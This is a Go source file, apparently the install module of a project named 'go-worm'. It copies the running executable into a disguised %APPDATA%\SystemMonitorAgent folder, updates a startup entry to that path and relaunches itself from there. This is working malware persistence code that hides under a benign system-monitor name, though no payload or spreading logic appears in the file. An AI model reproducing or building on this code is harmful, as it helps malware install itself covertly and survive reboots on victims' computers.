85 lines
1.6 KiB
Go
85 lines
1.6 KiB
Go
package install
|
|
|
|
import (
|
|
"fmt"
|
|
"io"
|
|
"os"
|
|
"os/exec"
|
|
"path/filepath"
|
|
"strings"
|
|
|
|
"tea.chunkbyte.com/kato/go-worm/lib/config"
|
|
)
|
|
|
|
// Ensure copies the running exe into %APPDATA%\SystemMonitorAgent\ when needed,
|
|
// refreshes an existing startup entry to that path, and re-launches from there.
|
|
func Ensure() error {
|
|
target, err := config.InstalledExe()
|
|
if err != nil {
|
|
return err
|
|
}
|
|
current, err := os.Executable()
|
|
if err != nil {
|
|
return err
|
|
}
|
|
current, err = filepath.Abs(current)
|
|
if err != nil {
|
|
return err
|
|
}
|
|
target, err = filepath.Abs(target)
|
|
if err != nil {
|
|
return err
|
|
}
|
|
if samePath(current, target) {
|
|
return nil
|
|
}
|
|
|
|
if err := copyExe(current, target); err != nil {
|
|
if _, statErr := os.Stat(target); statErr != nil {
|
|
return fmt.Errorf("copy to %s: %w", target, err)
|
|
}
|
|
}
|
|
|
|
if err := syncStartup(); err != nil {
|
|
return fmt.Errorf("update startup path: %w", err)
|
|
}
|
|
|
|
cmd := exec.Command(target, os.Args[1:]...)
|
|
cmd.Stdin = os.Stdin
|
|
cmd.Stdout = os.Stdout
|
|
cmd.Stderr = os.Stderr
|
|
if err := cmd.Start(); err != nil {
|
|
return fmt.Errorf("relaunch from %s: %w", target, err)
|
|
}
|
|
os.Exit(0)
|
|
return nil
|
|
}
|
|
|
|
func copyExe(from, to string) error {
|
|
if err := os.MkdirAll(filepath.Dir(to), 0o700); err != nil {
|
|
return err
|
|
}
|
|
src, err := os.Open(from)
|
|
if err != nil {
|
|
return err
|
|
}
|
|
defer src.Close()
|
|
|
|
dst, err := os.OpenFile(to, os.O_CREATE|os.O_WRONLY|os.O_TRUNC, 0o700)
|
|
if err != nil {
|
|
return err
|
|
}
|
|
defer dst.Close()
|
|
|
|
if _, err := io.Copy(dst, src); err != nil {
|
|
return err
|
|
}
|
|
return nil
|
|
}
|
|
|
|
func samePath(a, b string) bool {
|
|
a = filepath.Clean(a)
|
|
b = filepath.Clean(b)
|
|
return strings.EqualFold(a, b)
|
|
}
|